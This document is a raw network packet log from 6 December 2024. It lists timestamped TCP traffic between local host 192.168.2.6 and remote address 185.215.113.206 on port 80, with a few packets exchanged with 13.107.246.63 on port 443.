Dec 6, 2024 18:45:19.095652103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.095700979 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.096507072 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.096554995 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.096801043 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.096846104 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.097457886 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.097507000 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.097544909 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.097589970 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.098400116 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.098510981 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.098562956 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.099308968 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.099354029 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.099421978 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.099469900 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.100291967 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.100411892 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.100462914 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.101231098 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.101279020 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.101299047 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.101344109 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.102181911 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.102229118 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.102412939 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.102466106 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.103118896 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.103168011 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.103256941 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.103310108 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.104080915 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.104130983 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.104154110 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.104198933 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.105000019 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.105043888 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.105067968 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.105112076 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.158380032 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.158435106 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.158461094 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.158565998 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.158678055 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.158750057 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.158798933 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.158839941 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.159625053 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.159677982 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.159778118 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.159826040 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.160564899 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.160583973 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.160623074 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.161259890 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.161317110 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.161355972 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.161407948 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.162256002 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.162313938 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.162337065 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.162378073 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.163142920 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.163187981 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.163239002 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.163283110 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.164048910 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.164097071 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.217295885 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.217369080 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.217394114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.217454910 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.217767954 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.217847109 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.217922926 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.217993975 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.218697071 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.218744040 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.218763113 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.218813896 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.219654083 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.219698906 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.219800949 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.219845057 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.220608950 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.220659018 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.220679998 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.220731020 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.221597910 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.221646070 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.221748114 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.221795082 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.222464085 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.222518921 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.222539902 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.222583055 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.223447084 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.223495007 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.223514080 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.223560095 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.224383116 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.224435091 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.224541903 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.224587917 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.225285053 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.225332975 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.225353003 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.225400925 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.226269007 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.226313114 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.226331949 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.226377964 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.227181911 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.227221966 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.227310896 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.227365017 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.228144884 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.228197098 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.228272915 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.228319883 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.229125023 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.229171991 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.229214907 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.229264021 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.230021000 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.230066061 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.230165958 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.230211020 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.230978012 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.231023073 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.231065035 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.231107950 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.231966019 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.232008934 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.232076883 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.232121944 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.232856989 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.232906103 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.233057976 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.233099937 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.233794928 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.233839035 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.233942032 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.233989000 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.234733105 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.234778881 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.234927893 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.234975100 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.235680103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.235723972 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.235788107 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.235831976 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.236670017 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.236716032 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.236784935 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.236828089 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.237725973 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.237771034 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.237821102 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.237879992 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.238553047 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.238629103 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.238647938 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.238696098 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.239485025 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.239533901 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.239667892 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.239715099 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.240417004 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.240461111 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.240537882 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.240580082 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.241406918 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.241455078 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.241472960 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.241516113 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.279400110 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.279545069 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.279594898 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.279616117 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.279901028 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.279947042 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.280013084 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.280059099 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.280596972 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.280642033 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.280745029 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.280790091 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.281553984 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.281604052 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.281673908 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.281724930 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.282536983 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.282582998 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.282780886 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.282829046 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.283478975 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.283528090 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.283591986 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.283638954 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.284401894 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.284451008 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.284529924 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.284576893 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.285362959 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.285408974 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.285475016 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.285521984 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.286282063 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.286344051 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.286392927 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.286439896 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.287224054 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.287276030 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.287298918 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.287345886 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.288163900 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.288220882 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.288264990 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.288305044 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.289118052 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.289172888 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.289263010 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.289310932 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.290086031 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.290134907 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.290206909 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.290256023 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.291048050 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.291094065 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.291156054 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.291201115 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.291979074 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.292022943 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.292052984 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.292100906 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.292898893 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.292948008 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.293019056 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.293066025 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.293891907 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.293942928 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.294013023 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.294058084 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.294774055 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.294816971 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.294954062 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.295001984 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.295742989 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.295792103 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.295870066 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.295922041 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.296720982 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.296765089 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.296915054 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.296962976 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.297579050 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.297631025 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.343907118 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:19.344029903 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:19.345684052 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:19.345695019 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:19.345932007 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:19.350454092 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.350521088 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.350563049 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.350606918 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.350914955 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.350969076 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.350989103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.351035118 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.351912975 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.351958036 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.351972103 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.352011919 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.352778912 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.352833033 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.353074074 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.353126049 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.353180885 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.353226900 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.354027987 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.354077101 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.354094028 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.354145050 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.354993105 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.355048895 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.355091095 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.355138063 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.355659008 CET	49715	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:19.355957985 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.356015921 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.399338007 CET	443	49715	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:19.409189939 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.409285069 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.409308910 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.409380913 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.409804106 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.409853935 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.409923077 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.409970045 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.410721064 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.410768032 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.410787106 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.410826921 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.411561012 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.411608934 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.411670923 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.411717892 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.412516117 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.412564039 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.412646055 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.412693024 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.413594007 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.413635015 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.413641930 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.413677931 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.414546013 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.414593935 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.414643049 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.414689064 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.415339947 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.415390015 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.415529966 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.415574074 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.416296959 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.416344881 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.416528940 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.416574955 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.417233944 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.417283058 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.417305946 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.417352915 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.418179989 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.418227911 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.418256998 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.418307066 CET	49714	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:19.419162989 CET	80	49714	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:19.419181108 CET	80	49714	185.215.113.206	192.168.2.6
